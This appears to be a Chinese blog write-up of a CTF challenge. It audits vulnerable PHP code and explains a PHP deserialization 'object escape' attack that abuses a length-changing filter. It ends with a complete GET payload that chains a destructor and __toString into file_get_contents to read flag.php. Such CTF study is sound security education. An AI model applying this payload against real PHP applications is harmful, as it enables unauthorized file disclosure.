刷题[安恒DASCTF2020四月春季赛]Ez unserialize

解题思路

打开直接源码,没别的,审就完事了

代码审计

 <?php
show_source("index.php");
function write($data) {
    return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}
function read($data) {
    return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}
class A{
    public $username;
    public $password;
    function __construct($a, $b){
        $this->username = $a;
        $this->password = $b;
    }
}
class B{
    public $b = 'gqy';
    function __destruct(){
        $c = 'a'.$this->b;
        echo $c;
    }
}
class C{
    public $c;
    function __toString(){
        //flag.php
        echo file_get_contents($this->c);
        return 'nice';
    }
}
$a = new A($_GET['a'],$_GET['b']);
//省略了存储序列化数据的过程,下面是取出来并反序列化的操作
$b = unserialize(read(write(serialize($a))));

反序列化思路

  1. 首先观察new了A类,然后将其序列化,经过两个函数处理后再反序列化。

  2. C类中有tostring魔法方法,利用其中的file_get_contents函数读取flag.php文件

  3. 触发tostring魔法方法需要字符串操作,向上看,正好B类中的析构函数存在字符串的拼接操作

所以整个反序列化思路为:将A的属性实例化为B,然后将B的属性实例化为C对象,触发魔法方法读取flag

大致的序列化结果:
O:1:"A":2:{s:8:"username";s❌"payload1";s:8:"password";s:xx:"payload2";}

payload2:
O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php"}}

对象逃逸

核心思想:过滤导致的字符串位数增加或减少,不会导致序列化中变量名字符数改变,导致逃逸出新的对象

同时对象逃逸的特点是
过滤函数放在了序列化函数之后

看read函数,将\0\0\0 (6个字符) 替换成 chr(0)*chr(0) (3个字符),所以这里逃逸处3个字符

我们要逃逸出的字符串是
";s:8:"password";s:xx:" 共23位(因为这里payload打在password里,所以xx一定是两位数) 为什么是这个字符串在下面解释

因为一组逃逸出三个字符,所以这里共需逃逸八组,也就是
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0 (24个\0)将其传入payload1中

只序列化后的结果:
O:1:"A":2:{s:8:"username";s:48:"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:8:"password";s:72:"A";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php"}}";}

经过函数过滤后的结果:
O:1:"A":2:{s:8:"username";s:48:"********";s:8:"password";s:72:"A";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php"}}";} (实际每个*号前后有两个空字符,这里未显示)

可以看到,反序列化过程中,在读入username的值时,读入48位,从第一个 空*空 开始读,********";s:8:"password";s:72:"A (因为总逃逸的字符串有24位,需要逃逸的只有23位,这里加上一个A字符,凑成24位)

读完此时,结束,发现原本的password属性被吞,但因为序列化字符串中类里面的变量数是2,所以此时继续读一个变量,读入我们传的password,也就是读出了我们希望传入的password,这时新对象即逃逸出来
构成对象逃逸

成功完成攻击,读取出flag值

整个的payload就是:
?a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&b=A";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php"}}

posted @ 2020-04-26 10:13  kar3a  阅读(1715)  评论(0编辑  收藏  举报